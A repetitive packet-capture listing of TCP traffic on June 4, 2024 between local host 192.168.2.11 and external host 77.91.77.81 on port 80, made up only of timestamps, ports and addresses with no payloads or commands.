Jun 4, 2024 23:09:16.879756927 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879764080 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879776001 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879785061 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879790068 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879801989 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879807949 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879813910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879816055 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879827023 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879842997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879842997 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879863024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879864931 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879875898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879888058 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879889011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879897118 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879901886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879915953 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879915953 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879924059 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879928112 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879940987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879945993 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879951954 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879952908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879965067 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879966974 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879976988 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879981995 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880007029 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880007982 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880026102 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880028963 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880037069 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880038977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880052090 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880063057 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880064964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880072117 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880079031 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880089998 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880093098 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880103111 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880105019 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880115986 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880117893 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880127907 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880132914 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880139112 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880141973 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880151033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880170107 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880171061 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880183935 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880188942 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880199909 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880211115 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880211115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880218983 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880223036 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880234957 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880239964 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880244970 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880247116 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880256891 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880268097 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880269051 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880281925 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880291939 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880294085 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880305052 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880305052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880321026 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880330086 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880341053 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880352974 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880354881 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880363941 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880374908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880383968 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880388021 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880395889 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880399942 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880412102 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880423069 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880423069 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880436897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880448103 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880450010 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880458117 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880460024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880470991 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880500078 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880501032 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880506992 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880517960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880531073 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880541086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880552053 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880556107 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880563021 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880563021 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880574942 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880584002 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880585909 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880598068 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880605936 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880609989 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880623102 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880631924 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880635023 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880645037 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880654097 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880671024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880673885 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880686045 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880690098 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880696058 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880708933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880718946 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880722046 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880733013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880740881 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880743980 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880755901 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880759001 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880769014 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880779982 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880781889 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880793095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880804062 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880811930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880815983 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880830050 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880841017 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880841970 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880848885 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880851984 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880862951 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880870104 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880873919 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880884886 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880887032 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880899906 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880908966 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880912066 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880923033 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880924940 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880937099 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880945921 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880955935 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880971909 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.880976915 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880986929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.880989075 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881002903 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881014109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881026030 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881036997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881042957 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881050110 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881057978 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881062031 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881073952 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881074905 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881084919 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881095886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881098986 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881107092 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881119013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881122112 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881130934 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881136894 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881141901 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881153107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881160021 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881165981 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881176949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881182909 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881190062 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881190062 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881200075 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881211996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881218910 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881222963 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881239891 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881243944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881254911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881258011 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881267071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881278038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881278992 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881289005 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881306887 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881308079 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881319046 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881328106 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881330967 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881339073 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881342888 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881355047 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881365061 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881366968 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881373882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881385088 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881391048 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881396055 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881407976 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881408930 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881418943 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881429911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881433010 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881442070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881453991 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881454945 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881465912 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881472111 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881478071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881489038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881491899 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881500006 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881511927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881515980 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881524086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881527901 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881536007 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881546974 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881548882 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881560087 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881565094 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881571054 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881582022 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881592035 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881593943 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881604910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881613970 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881616116 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881628990 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881639004 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881642103 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881654024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881656885 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881666899 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881678104 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881680012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881690025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881700993 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881705046 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881711960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881712914 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881724119 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881736040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881742001 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881748915 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881759882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881764889 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881771088 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881776094 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881783962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881794930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881800890 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881807089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881818056 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881824017 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881829023 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881834030 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881841898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881853104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881854057 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881865978 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881876945 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881877899 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881891012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881901979 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881901979 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881911039 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881913900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881925106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881934881 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881941080 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881947041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881958008 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881962061 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881969929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881975889 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.881980896 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.881994963 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882002115 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882005930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882018089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882026911 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882029057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882040024 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882040024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882050037 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882065058 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882066011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882076979 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882086992 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882088900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882100105 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882101059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882112026 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882122993 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882124901 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882138014 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882148981 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882149935 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882159948 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882162094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882173061 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882184029 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882185936 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882194996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882205963 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882208109 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882216930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882220984 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882227898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882237911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882247925 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882250071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882261038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882271051 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882278919 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882280111 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882291079 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882304907 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882308006 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882318020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882323980 CEST	49713	80	192.168.2.11	77.91.77.81
